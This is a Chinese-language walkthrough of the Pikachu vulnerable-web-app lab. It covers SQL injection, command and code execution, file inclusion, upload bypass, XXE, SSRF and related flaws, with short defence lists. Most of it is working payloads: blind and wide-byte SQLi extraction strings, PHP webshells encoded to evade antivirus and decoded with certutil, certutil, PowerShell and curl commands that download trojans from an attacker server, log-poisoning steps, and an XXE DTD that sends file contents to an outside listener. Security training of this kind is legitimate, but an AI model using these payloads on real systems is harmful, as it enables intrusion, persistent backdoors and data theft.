判断是否存在时间盲注,使用sleep函数进行延时测试

payload:因为是get请求所有payload需要转换为url编码

kobe’ and sleep(5)#

也可以使用burp进行查看

五秒的响应时间,确定存在时间盲注,进行猜解,和布尔盲注的猜解过程一样,先判断长度,在逐一猜解,从外向内

IF(condition, value_if_true, value_if_false)
  • condition: 这是一个表达式,它可以是任何能够被评估为真(true)或假(false)的条件。
  • value_if_true: 如果条件表达式为真(true),则返回这个值。
  • value_if_false: 如果条件表达式为假(false),则返回这个值。
一、时间盲注爆库

爆库_payload:

判断数据库长度,如果数据库长度为7时延时5秒

kobe’ and if(length((select database())=7),sleep(5),1)#

猜解库名,表达式和布尔盲注其实都是一样的,通过ascii值进行猜解,猜解过程繁琐看一下布尔盲注的payload就懂了。

kobe’ and if(ascii(substr((select database()),1,1)>97),sleep(5),1)# ===>延时五秒证明第一个字符的ascii大于97

kobe’ and if(ascii(substr((select database()),1,1)<122),sleep(5),1)# ===>延时五秒证明第一个字符的ascii小于122

kobe’ and if(ascii(substr((select database()),1,1)=115),sleep(5),1)# ===>第一个库名字符的ascii值为115,

依此类推,不一一猜解了,最后一个库名字符

kobe’ and if(ascii(substr((select database()),7,1)=117),sleep(5),1)# ===>最后一个字符的ascii值为117对应u

二、时间盲注爆表

已知数据库为pikachu,我们需要知道库内有多少个表,要猜解的表长度是多少,在进行猜解

爆表_payload:

判断库内表有多少:

kobe’ and if((select count(table_name) from information_schema.tables where table_schema=database())=1,sleep(5),1)# ===>计算库内表只有一个,不对没有延时5秒

kobe’ and if((select count(table_name) from information_schema.tables where table_schema=database())=6,sleep(5),1)# ===>延时五秒,说明库内有6个表

猜解表名,这里拿第五个表users作为测试:

先判断该表长度

kobe’ and if((length(substr((select table_name from information_schema.tables where table_schema=database() limit 4,1),1))=5),sleep(5),1)# ===>长度为5

猜解表的第一字符

kobe’ and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 4,1),1))=117),sleep(5),1)# ===>117对应u

kobe’ and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 4,1),5))=115),sleep(5),1)#

得到表名为users

三、时间盲注爆字段

猜解出表名后,我们需要知道表内字段的数量–》字段名–》猜解数据

爆字段_payload:

判断users表内有多少个字段:

kobe’ and if(((select count(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’)=4),sleep(5),1)# ===>有四个字段名

判断表内第一个字段名长度:

kobe’ and if((length(substr((select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 0,1),1))=2),sleep(5),1)# ===>第一个字段名是两位

猜解字段名:

kobe’ and if((ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 0,1),1))=105),sleep(5),1)# ===>105对应i

kobe’ and if((ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 0,1),2))=100),sleep(5),1)# ===>100对应d

第一个字段名为id,其他字段名也是一样的操作,依此类推

四、时间盲注爆数据

这里就拿字段id的数据进行猜解,其他的也是同理同操作

爆数据_payload:

猜解id字段下的数据长度:

kobe’ and if((length(substr((select id from users limit 0,1),1))=1),sleep(5),1)# ----》第一条数据长度为1

kobe’ and if((length(substr((select id from users limit 1,1),1))=1),sleep(5),1)# ----》第二条 …依此类推

已知数据长度为1,进行猜解数据

kobe’ and if((ascii(substr((select id from users limit 0,1),1))=49),sleep(5),1)#

49对应的ascii为1

如果数据长度为2或3或4,我们就通过控制ascii中的数字递增猜解,例如

kobe’ and if((ascii(substr((select id from users limit 0,1),1))=49),sleep(5),1)# ------>第一个数据字符

kobe’ and if((ascii(substr((select id from users limit 0,1),2))=49),sleep(5),1)# ------>第二个数据字符

得到的数据就是11

像表内的其他字段,username、password等也是相同的操作方式进行获取,通过控制limit和ascii函数进行下一位猜解

wide byte注入 (宽字节注入)

简单来说,宽字节注入是mysql数据库使用gbk编码,当输入包含%df(或其他大于128的ASCII码)和%5C(反斜线)时,这两个字符在GBK编码下会被识别为一个汉字,从而使得%5C(即转义符)失去其转义作用。这样,原本被转义的单引号(')就能恢复其原有的功能,从而可以执行SQL注入。

例如,我们输入%df%27(%df’)经过addslashes函数转义后%df%5c%27(%df’),在经过数据库的gbk就形成了 運’

在汉字编码范围内(ascii码大于128才能到汉字范围)两个字节会重新编码为汉字,mysql对输入的语句进行GBK编码时就会把%df%5c转换为汉字運,这样单引号就逃逸出来了形成闭合

判断注入点

payload:

kobe%df’ or 1=1# ===>正常

kobe%df’ or 1=2# ===>错误

证明注入点后,查看回显位置

payload:

kobe%df’union select 1,2#

联合查询库名

payload:

kobe%df’union select 1,database()#

查表名

payload:

kobe%df’union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

查表内字段名,拿users表测试

payload:由于单引号无法使用,我们指定表名时需要对表名进行ascii16进制编码

kobe%df’union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273#

查询数据,拿username,password进行测试,其他的都是同样操作

payload:

kobe%df’union select group_concat(username),group_concat(password) from users#

SQL注入防御措施

1、从代码层面出发,对用户输入的数据,进行严格的验证和转义

2、对于sql语句,使用预编译语句(参数化查询),将用户输入的数据和SQL查询分开处理,避免用户输入的数据直接插入sql语句中被解释成sql代码

3、对于站点,进行部署waf应用程序等,检测和阻止用户输入常见使用SQL代码,过滤恶意请求

RCE(远程命令/代码执行)

RCE(remote command/code execute)概述

RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。

远程系统命令执行
一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口
比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上
一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。 而,如果,设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器

现在很多的甲方企业都开始实施自动化运维,大量的系统操作会通过"自动化运维平台"进行操作。 在这种平台上往往会出现远程系统命令执行的漏洞,不信的话现在就可以找你们运维部的系统测试一下,会有意想不到的"收获"-_-

远程代码执行
同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。 不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。

因此,如果需要给前端用户提供操作类的API接口,一定需要对接口输入的内容进行严格的判断,比如实施严格的白名单策略会是一个比较好的方法。

exec “ping” (命令执行)

照着提示输出IP地址,127.0.0.1,成功ping通

这种情况下我们想要获取其他信息,需要通过使用管道符进行命令拼接一起执行

常用管道符:

Windows

****| 直接执行后面的命令,

例如ping 127.0.0.1|ipconfig,直接执行ipconfig

|| 前面的命令执行失败才会执行后面语句,前面正常输出就不执行后面命令

例如ping 127.0.0.1||ipconfig,执行ping 127.0.0.1

若ping 1||ipconfig,执行ipconfig

& 不论命令为真还是假,命令都执行

例如ping 127.0.0.1&ipconfig,两个都执行

若ping 1&ipconfig,两个也是都执行

&& 前面的命令必须为真执行成功才会执行后面的命令

例如ping 127.0.0.1&&ipconfig,前面执行成功后面也会执行

若ping 1&&ipconfig,前面为假后面也不执行

Linux

和windows的管道符作用一样,但是多了一个;可以用

; 和&一样的效果,执行完前面在执行后面的命令

|、||、&、&&和windows一样的用法

使用管道符进行拼接命令。

payload:127.0.0.1&ipconfig

知道存在命令执行漏洞我们可以通过它来写马、下载木马,让我们连接上站点服务器

写马
1.查询绝对路径

可以通过cd、dir命令查看

payload:127.0.0.1|cd

2.使用echo命令写入

payload:echo “<?php eval($_REQUEST['cmd']); ?>” > E:\phpStudy\phpstudy8.1\phpstudy_pro\WWW\pikachu\vul\rce\webshell.php

3.也可以通过set命令写入

payload:set /p=“<?php eval($_REQUEST['cmd']); ?>” E:\phpStudy\phpstudy8.1\phpstudy_pro\WWW\pikachu\vul\rce\set.php

直接写入原生代码的后门shell会被杀毒软件查杀,可以先写入base64编码或hex编码,在使用windows内置的certutil进行解码。

4.base64编码写入(过查杀)

将我们要写入的php后门代码进行base64编码并写入

payload:127.0.0.1|echo PD9waHAgZXZhbCgkX1JFUVVFU1RbJ2NtZCddKTsgPz4= >E:\phpStudy\phpstudy8.1\phpstudy_pro\WWW\pikachu\vul\rce\base64.txt

然后再命令执行内置的certutil进行解码

payload:127.0.0.1|certutil -decode E:\phpStudy\phpstudy8.1\phpstudy_pro\WWW\pikachu\vul\rce\base64.txt E:\phpStudy\phpstudy8.1\phpstudy_pro\WWW\pikachu\vul\rce\base64.php

5.hex编码写入shell

payload:

127.0.0.1|echo 3c3f706870206576616c28245f524551554553545b27636d64275d293b203f3e >E:\phpStudy\phpstudy8.1\phpstudy_pro\WWW\pikachu\vul\rce\hex.txt

certutil解码

127.0.0.1|certutil -decodehex E:\phpStudy\phpstudy8.1\phpstudy_pro\WWW\pikachu\vul\rce\hex.txt E:\phpStudy\phpstudy8.1\phpstudy_pro\WWW\pikachu\vul\rce\hex.php

通过命令执行下载木马到本地
certutil命令下载木马

攻击者开启一个http服务放置我们的恶意文件,用于命令远程下载

payload:(这里用本地进行测试,可以测试下载CS马上线,我这随便下一个shell测试)

certutil -urlcache -split -f http://127.0.0.1:8000/1.php E:\phpStudy\phpstudy8.1\phpstudy_pro\WWW\pikachu\vul\rce\1.php

Powershell Invoke-WebRequest命令下载木马

payload:

powershell Invoke-WebRequest -Uri “http://192.168.10.2:8000/2.php” -OutFile “E:\phpStudy\phpstudy8.1\phpstudy_pro\WWW\pikachu\vul\rce\2.php”

exec “eval” (代码执行)

输入phpinfo();,可以看到php的配置信息

写入木马

payload:

fputs(fopen(‘eval.php’,‘w’),‘<?php assert($_REQUEST[cmd]);?>’);

虽然提交后无回显,但是实际文件已成功创建并写入代码

远程下马
file_put_contents、file_get_contents函数远程下载

payload:

file_put_contents(‘eval_yc.php’, file_get_contents(‘http://127.0.0.1:8000/eval_yc.php’));

该函数默认下载存储位置在当前目录下,也就是/pikachu/vul/rce目录下

也可以下载exe文件,例如cs马等,在通过system()函数去执行文件得以上线

curl远程下载

payload:

system(‘curl -o eval_curl.php http://127.0.0.1:8000/eval_yc.php’);

-o 参数是–output的缩写,将文件下载到本地并命名,不填写存储路径就默认在当前页面的目录下

例如我们可以指定下载位置

指定目录_payload:

system('curl -o E:\phpStudy\phpstudy8.1\phpstudy_pro\WWW\eval_curl.php http://127.0.0.1:8000/eval_yc.php’);😉

RCE防御措施

1、校验用户输入的数据,包括数据类型、数据长度、格式等,校验后再传递给执行命令或代码的函数

2、禁用一些高风险函数eval、system、exec、shell_exec等等,或使用白名单进行限制用户函数的使用,确保对用户输入的数据进行验证和过滤

3、限制应用权限,对web应用和web服务器进行低权限用户使用,确保只能进行访问和修改其正常的运行所需的文件和目录

4、部署WAF,WAF可以识别和拦截常见的攻击

Files Inclusion(文件包含漏洞)

文件包含,是一个功能。在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件。 比如 在PHP中,提供了:
include(),include_once()
require(),require_once()
这些文件包含函数,这些函数在代码设计中被经常使用到。

大多数情况下,文件包含函数中包含的代码文件是固定的,因此也不会出现安全问题。 但是,有些时候,文件包含的代码文件被写成了一个变量,且这个变量可以由前端用户传进来,这种情况下,如果没有做足够的安全考虑,则可能会引发文件包含漏洞。 攻击着会指定一个“意想不到”的文件让包含函数去执行,从而造成恶意操作。 根据不同的配置环境,文件包含漏洞分为如下两种情况:
**1.本地文件包含漏洞:**仅能够对服务器本地的文件进行包含,由于服务器上的文件并不是攻击者所能够控制的,因此该情况下,攻击着更多的会包含一些 固定的系统配置文件,从而读取系统敏感信息。很多时候本地文件包含漏洞会结合一些特殊的文件上传漏洞,从而形成更大的威力。
**2.远程文件包含漏洞:**能够通过url地址对远程的文件进行包含,这意味着攻击者可以传入任意的代码,这种情况没啥好说的,准备挂彩。

因此,在web应用系统的功能设计上尽量不要让前端用户直接传变量给包含函数,如果非要这么做,也一定要做严格的白名单策略进行过滤。

本地文件包含(local)

靶场开始之前需要把php.ini中的allow_url_include=Off改为On(php5.2之后默认为Off)

php.ini在自己使用的版本里,设置完成后重启中间件以及服务

打开页面后有选项可选,随便选一个提交,url中可以看到file1.php,通过修改filename参数的文件名可以访问其他文件。

可以尝试使用…/进行访问上级目录,这里拿站点首页进行测试,可以看到成功访问index.php文件

(至于有多少级…/可以自己一层一层试,需要注意:正常情况下本地文件包含搭建在Windows中是无法进行跨驱动器访问,例如我们站点安装在E盘,是读取不到C盘的文件)

payload:…/…/…/index.php

本地文件包含图片马

当我们检测存在文件包含的情况下,可以通过文件上传处,上传图片马再用文件包含漏洞进行解析里面的木马代码

准备好一张正常图片,在准备一个一句话木马文件,使用cmd中的copy命令进行合成

payload:copy /b yuan.png+shell.php shell.png

如果木马文件在前面那么合成后木马内容就会在前面,上面payload是木马文件追加到末尾,例如

copy /b shell.php+yuan.png shell.png就是木马内容在首端

如果想插入到图片内容中间或其他地方可以使用HxD进行修改

制作好图片马后,找到文件上传处上传,并找到它的路径,访问确定图片存在

文件包含位置路径:http://127.0.0.1/pikachu/vul/fileinclude/fi_local.php?filename=

图片路径:http://127.0.0.1/pikachu/vul/unsafeupload/uploads/shell.png

所以只需要…/到vul目录就可以开始指向我们的图片马

payload:filename=…/…/unsafeupload/uploads/shell.png

包含成功,使用Webshell管理工具进行连接,这里拿蚁剑进行连接,连接成功getshell

本地文件包含不仅可以包含图片马,还可以包含日志文件、session文件等

本地包含日志文件

phpstudy搭建靶场的话需要开启日志功能

这里拿phpstudy2018版本进行学习测试,新版的phpstudy文件包含时无法解析日志里代码(不知道哪里需要设置)

CustomLog “logs/access.log” common前面的#删除

然后再站点根目录创建一个php文件,写入文件包含漏洞的代码

<?php $filename=$_GET['filename']; include($filename); ?>

然后启动站点访问站点,测试代码是否有效,可以通过下图看到包含成功

http://127.0.0.1/fileinclude.php?filename=index.html

日志getshell

使用一句话木马进行请求,让其写入到日志文件中,如果直接放包经过URL编码写入到日志就是编码内容,所以我们要使用burp进行修改为原来的<>

放包后我们查看日志文件是否正常

日志路径,\Apache\logs\access.log

这时我们使用文件包含进行包含解析

payload:…/Apache/logs/access.log

使用webshell管理工具进行连接

也可以使用cmd的curl命令进行注入日志,&和[]为特殊符号需要转义

curl -v “http://127.0.0.1/fileinclude.php?filename=<?php eval($_REQUEST\['cmd'\]);?>”

远程文件包含(remote)

远程文件包含就是可以进行远程文件解析执行

使用虚拟机或在本机进行恶意文件的站点搭建,创建phpinfo()文件测试

远程写马

payload:

<?php

fputs(fopen(‘shell.php’,‘w’),‘<?php @eval($_REQUEST[cmd]);?>’);

?>

或者

<?php $myfile = fopen("shell1.php", "w"); $txt = '<?php @eval($_REQUEST[cmd]);?>';

fwrite($myfile, $txt);

fclose($myfile);

?>

执行后虽然没有任何的反应,但实际已经解析了代码并执行,在当前页面目录生成了shell.php

PHP伪协议利用

具体了解可以参考:https://xz.aliyun.com/t/5535?time__1311=n4%2BxnD07Dt0%3DKAKYiKDsA3EEx9niDuGlxmumD&alichlgref=https%3A%2F%2Fwww.baidu.com%2Flink%3Furl%3D4Ep61lmPpWvHfu4zG41dEChTvJ20WtXetGLUMjMmGok0RpialaqHkLPs2AlIvv1w%26wd%3D%26eqid%3D8b98ce33000694a4000000066661919d

这里就拿几个常用到的进行学习测试

file://

默认目录是当前工作目录

用法,访问本地文件

file:///C:/Windows/win.ini

php://

php://input

可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。

写马

payload:<?php fputs(fopen('input.php','w'),'<?php @eval($_REQUEST[cmd]);?>');?>

php://filter

以base64编码的形式读取内容

payload:php://filter/read=convert.base64-encode/resource=filename(要读取的文件)

这里直接拿远程包含的PHP文件进行测试

data://

用法,共三个参数data:[][;charset=][;base64],

data://text/plain,<?php phpinfo();?>

写马

payload:<?php fputs(fopen('data.php','w'),'<?php @eval($_REQUEST[cmd]);?>');?>

zip://

写一个php文件—>zip压缩—>将压缩包后缀改为图片格式png去上传

zip协议需要用绝对路径,#需要转换为%23

(pikachu靶场不知道为什么上传png图片,图片的内容会变,即使上传正常的图片也是无法正常打开,可能是文件上传调用的函数对内容进行修改)

所以这里直接将修改好的后缀名文件复制进去测试了

payload:zip://E:/phpStudy/phpstudy8.1/phpstudy_pro/WWW/pikachu/vul/unsafeupload/uploads/zip.png%23zip.php

可以进行解析,使用蚁剑进行连接

phar://

phar://和zip://用法类似,但是phar不需要使用#而是直接使用/

且phar协议可以不使用绝对路径,相对路径也可以

这里就直接拿zip.png进行测试了

payload:

phar://…/unsafeupload/uploads/zip.png/zip.php

phar://E:/phpStudy/phpstudy8.1/phpstudy_pro/WWW/pikachu/vul/unsafeupload/uploads/zip.png/zip.php

还有其他PHP伪协议就不一一进行测试了

文件包含防御措施

1、验证用户输入数据、请求数据等,过滤特殊字符、验证输入长度和格式等,防止攻击者构造恶意包含

2、限制文件包含范围,仅允许用户包含特定目录内的文件

3、在代码中使用绝对路径来进行文件包含,防止攻击者使用目录遍历漏洞

4、禁用一些不必要的函数以及配置,部署WAF进行监控拦截

Unsafe file downloads(不安全的文件下载)

文件下载功能在很多web系统上都会出现,一般我们当点击下载链接,便会向后台发送一个下载请求,一般这个请求会包含一个需要下载的文件名称,后台在收到请求后 会开始执行下载代码,将该文件名对应的文件response给浏览器,从而完成下载。 如果后台在收到请求的文件名后,将其直接拼进下载文件的路径中而不对其进行安全判断的话,则可能会引发不安全的文件下载漏洞。
此时如果 攻击者提交的不是一个程序预期的的文件名,而是一个精心构造的路径(比如…/…/…/etc/passwd),则很有可能会直接将该指定的文件下载下来。 从而导致后台敏感信息(密码文件、源代码等)被下载。

所以,在设计文件下载功能时,如果下载的目标文件是由前端传进来的,则一定要对传进来的文件进行安全考虑。 切记:所有与前端交互的数据都是不安全的,不能掉以轻心!

不安全的文件下载 (Unsafe Filedownload)

可以看到是图片下载

使用…/路径回溯符来下载敏感文件或站点源码等等

文件下载防御措施

1、验证用户输入的数据,将特殊字符进行转义或移除,防止攻击者路径遍历下载敏感文件

2、限制用户下载范围,使用白名单等方式,使用户只能下载允许的文件

3、正确配置服务器,禁用目录索引,确保不会暴露文件系统结构

4、部署WAF进行监控拦截

Unsafe file uploads(不安全的文件上传)

文件上传功能在web应用系统很常见,比如很多网站注册的时候需要上传头像、上传附件等等。当用户点击上传按钮后,后台会对上传的文件进行判断 比如是否是指定的类型、后缀名、大小等等,然后将其按照设计的格式进行重命名后存储在指定的目录。 如果说后台对上传的文件没有进行任何的安全判断或者判断条件不够严谨,则攻击着可能会上传一些恶意的文件,比如一句话木马,从而导致后台服务器被webshell。

所以,在设计文件上传功能时,一定要对传进来的文件进行严格的安全考虑。比如:
–验证文件类型、后缀名、大小;
–验证文件的上传方式;
–对文件进行一定复杂的重命名;
–不要暴露文件上传后的路径;
–等等…

客户端check

前端进行文件名验证,简而言之就是javascript进行验证,我们选择文件后便会对文件进行验证

方法一、浏览器关闭javascript,让其不生效

方法二、将木马文件后缀改为图片格式,burp抓包在改回php

服务端check (MIME Type验证)

在服务端对文件的MIME类型进行验证是否为图片类型,直接上传php文件burp抓包修改MIME类型为图片即可绕过

getimagesize()

getimagesize()函数是获取图片的信息属性

上传木马文件修改成图片后缀名的文件,发现提示上传的是假图片

函数对上传的文件进行了验证,获取不到文件里图片信息

方法一、手动添加图片文件头

上传了之后需要文件包含解析图片中的一句话木马,否则无法利用

方法二、合成图片马

参考文件包含https://www.yuque.com/u22038770/ir7cts/gsuy2guvucn9gs27#TUZjL

文件上传防御措施

1、后端严格验证用户上传的文件,验证其后缀、图片格式、大小等

2、检查上传的文件内容,避免包含恶意内容

3、限制用户上传的文件权限

4、部署WAF等安全入侵检测

Over Permisson(越权漏洞)

如果使用A用户的权限去操作B用户的数据,A的权限小于B的权限,如果能够成功操作,则称之为越权操作。 越权漏洞形成的原因是后台使用了 不合理的权限校验规则导致的。

一般越权漏洞容易出现在权限页面(需要登录的页面)增、删、改、查的的地方,当用户对权限页面内的信息进行这些操作时,后台需要对 对当前用户的权限进行校验,看其是否具备操作的权限,从而给出响应,而如果校验的规则过于简单则容易出现越权漏洞。

因此,在在权限管理中应该遵守:
1.使用最小权限原则对用户进行赋权;
2.使用合理(严格)的权限校验规则;
3.使用后台登录态作为条件进行权限判断,别动不动就瞎用前端传进来的条件;

水平越权

简而言之,可以访问或进行操作同权限的账号

给出三个账号进行测试

随便登录一个

在URL中修改用户名为其他用户,这里是通过用户名进行校验并获取该用户信息

垂直越权

可以访问或操作比自身权限高的用户,进行一些正常用户无法使用的操作

这里给出两个账号,admin是最高权限用户

登录pikachu账号,只有查看权限

登录admin账号,可以进行添加用户和删除用户操作

进行添加用户操作

在burp中将添加用户的操作发送到重发器

在查看pikachu用户登录时的cookie(这里需要登录着pikachu用户的cookie)

将pikachu的cookie替换添加用户操作时admin用户的cookie

为了更好分辨,我们将添加用户的用户名改成test_pikachu,发送数据请求包后会出现重定向,点击跟随过去

跟随重定向点到底

刷新一下pikachu用户界面就能看到使用pikachu添加用户成功

这里就是通过使用pikachu的cookie进行了admin用户才能进行添加用户的操作,实现一个越权操作

越权防御措施

1、使用最小权限原则对用户进行赋权
2、使用合理(严格)的权限校验规则
3、使用后台登录态作为条件进行权限判断,别动不动就瞎用前端传进来的条件

…/…/…/(目录遍历)

在web功能设计中,很多时候我们会要将需要访问的文件定义成变量,从而让前端的功能便的更加灵活。 当用户发起一个前端的请求时,便会将请求的这个文件的值(比如文件名称)传递到后台,后台再执行其对应的文件。 在这个过程中,如果后台没有对前端传进来的值进行严格的安全考虑,则攻击者可能会通过“…/”这样的手段让后台打开或者执行一些其他的文件。 从而导致后台服务器上其他目录的文件结果被遍历出来,形成目录遍历漏洞。

看到这里,你可能会觉得目录遍历漏洞和不安全的文件下载,甚至文件包含漏洞有差不多的意思,是的,目录遍历漏洞形成的最主要的原因跟这两者一样,都是在功能设计中将要操作的文件使用变量的 方式传递给了后台,而又没有进行严格的安全考虑而造成的,只是出现的位置所展现的现象不一样,因此,这里还是单独拿出来定义一下。

需要区分一下的是,如果你通过不带参数的url(比如:http://xxxx/doc)列出了doc文件夹里面所有的文件,这种情况,我们称为敏感信息泄露。 而并不归为目录遍历漏洞。(关于敏感信息泄露你你可以在"i can see you ABC"中了解更多)

…/…/ (目录遍历)

通过使用…/这些目录回溯符可以查看其他目录下的文件

将title参数处使用回溯符,这里我选择在上一级目录下创建一个txt文件进行测试

目录遍历防御措施

1、验证传入数据,并对其进行转义,使特殊字符无法实现操作

2、限制用户访问权限,仅允许访问指定文件目录

3、部署WAF监控拦截

I can see your ABC(敏感信息泄露)

由于后台人员的疏忽或者不当的设计,导致不应该被前端用户看到的数据被轻易的访问到。 比如:
—通过访问url下的目录,可以直接列出目录下的文件列表;
—输入错误的url参数后报错信息里面包含操作系统、中间件、开发语言的版本或其他信息;
—前端的源码(html,css,js)里面包含了敏感信息,比如后台登录地址、内网接口信息、甚至账号密码等;

类似以上这些情况,我们称为敏感信息泄露。敏感信息泄露虽然一直被评为危害比较低的漏洞,但这些敏感信息往往给攻击着实施进一步的攻击提供很大的帮助,甚至“离谱”的敏感信息泄露也会直接造成严重的损失。 因此,在web应用的开发上,除了要进行安全的代码编写,也需要注意对敏感信息的合理处理。

敏感信息泄露

敏感信息有很多种,敏感文件里面的信息、测试账号遗留等等都属于敏感信息泄露

前端源代码中存在测试账号

登录后打开控制台查看该文件的请求,在cookie中存在abc[uname]、abc[pw]且为MD5加密

此处还存在一个未授权访问绕过登录,在登录界面的文件为findabc.php,登录后界面的文件为abc.php

直接将其文件进行修改后,也可直接登录成功

并未做登录验证处理,导致攻击者可直接访问登录后的界面

敏感信息泄露防御措施

1、禁止在代码中存储敏感信息

2、禁止在cookie中以明文存储用户敏感信息

3、可以使用多重加密算法对敏感信息进行加密

4、禁止在日志等文件记录明文的敏感数据

PHP反序列化漏洞

序列化serialize()说通俗点就是把一个对象变成可以传输的字符串,比如下面是一个对象:

反序列化unserialize()就是把被序列化的字符串还原为对象,然后在接下来的代码中继续使用。

序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题

想要深入学习PHP反序列化,需要了解PHP的魔术方法

https://www.php.net/manual/zh/language.oop5.magic.php

序列号解析图

PHP反序列化

序列化payload:

O:1:“S”:1:{s:4:“test”;s:29:“”;}

PHP反序列化防御措施

1、验证和过滤用户输入的数据

2、尽量不使用序列号进行数据传输

3、部署WAF检测拦截常见的反序列化攻击

XXE(XML External Entity attack)

XXE -“xml external entity injection”
既"xml外部实体注入漏洞"。
概括一下就是"攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题"
也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。

参考https://www.bilibili.com/video/BV1KS421N7Qy/?spm_id_from=333.337.search-card.all.click&vd_source=e5a2e1e11ceac574a991a95f51f6c5a8

XXE漏洞

外部实体可支持的协议

XML任意文件读取

构造一个XML外部实体结构的payload

<?xml version="1.0" ?> ]>

&xxe;

如果使用burp进行请求,需要将payload进行URL编码

其他的一些协议可以参考文件包含中的利用方式,将file://替换成对应利用方式

https://www.yuque.com/u22038770/ir7cts/gsuy2guvucn9gs27#RgwW3

内网探测
探活IP

payload:

<?xml version="1.0" ?> ]>

&xxe;

抓取提交的数据包并发送到爆破模块

随便添加几个IP,有存活的也有没存活的

通过看响应时间进行判断是否存活,存活和不存活的相差会比较大

探活端口

同样的使用爆破模块进行测试,可以使用固定的列表也可以使用数值进行测试

这里拿kali开启8000端口进行测试

添加一些常使用的端口

DTD数据外带

使用kali搭建一个攻击者进行外带数据的dtd文件站点

dtd文件:

<?xml version="1.0" encoding="UTF-8"?> <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/win.ini"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://192.168.20.128:7410?p=%file;'>">

搭建完成后,构造外带数据的payload:

%remote;%int;%send;

]>

kali上需要进行NC监听dtd文件中的端口

kali监听就会接受到传回的base64加密的数据

系统命令执行

在PHP中需要开启PECL上的Expect扩展才能进行测试,百度安装

通过使用expect://协议执行命令

payload:

<?xml version="1.0" ?> ]>

&xxe;

XXE漏洞防御措施

1、验证和过滤用户输入的XML数据

2、禁用语言对应的XML解析函数,禁止解析外部实体内容

3、部署WAF检测拦截常见的XML外部实体注入

不安全的URL重定向

不安全的url跳转问题可能发生在一切执行了url地址跳转的地方。
如果后端采用了前端传进来的(可能是用户传参,或者之前预埋在前端页面的url地址)参数作为了跳转的目的地,而又没有做判断的话,就可能发生"跳错对象"的问题。

url跳转比较直接的危害是:–>钓鱼,既攻击者使用漏洞方的域名(比如一个比较出名的公司域名往往会让用户放心的点击)做掩盖,而最终跳转的确实钓鱼网站

不安全的url跳转(URL重定向)

从源码中可以看到有一个url参数

点击第三个是跳转到概述,第四个在当前页面输出了一句话

直接就是一个URL链接甩上去,让他跳转

可设置为钓鱼站点,进行cookie这些的获取

URL重定向防御措施

1、验证和过滤参数中的值

2、使用白名单验证,使用户只能访问指定的链接或文件

3、非必要情况可删除重定向功能,使用指定文件或指定链接代替

SSRF(Server-Side Request Forgery)

其形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制

导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据
数据流:攻击者----->服务器---->目标地址
根据后台使用的函数的不同,对应的影响和利用方法又有不一样

PHP中下面函数的使用不当会导致SSRF:

file_get_contents()

fsockopen()

curl_exec()
如果一定要通过后台服务器远程去对用户指定(“或者预埋在前端的请求”)的地址进行资源请求,则请做好目标地址的过滤

SSRF(curl)

验证漏洞存在,使用dnslog进行判断

读取文件

使用file://协议读取指定文件

内网探测

使用http协议进行内网存活地址探测

将数据包发送到burp的爆破模块

爆破结束后,通过响应时间判断存活

探活开放端口也是一样的操作

SSRF+redis写入shell

需要开启redis

参考漏洞复现的Weblogic SSRF
https://blog.csdn.net/CSDNwblxiao/article/details/145867186?spm=1001.2014.3001.5501

SSRF(file_get_content)

利用方法和上面的一样curl的一样,只是这两个函数的用法不同

SSRF防御措施

1、对用户输入的URL进行验证和过滤,使用白名单进行范围限制,避免能攻击内网

2、禁用不必要的协议,仅允许使用指定的协议来访问

3、限制端口访问,仅允许访问指定的端口

4、部署WAF检测和拦截

Logo

火山引擎开发者社区是火山引擎打造的AI技术生态平台,聚焦Agent与大模型开发,提供豆包系列模型(图像/视频/视觉)、智能分析与会话工具,并配套评测集、动手实验室及行业案例库。社区通过技术沙龙、挑战赛等活动促进开发者成长,新用户可领50万Tokens权益,助力构建智能应用。

更多推荐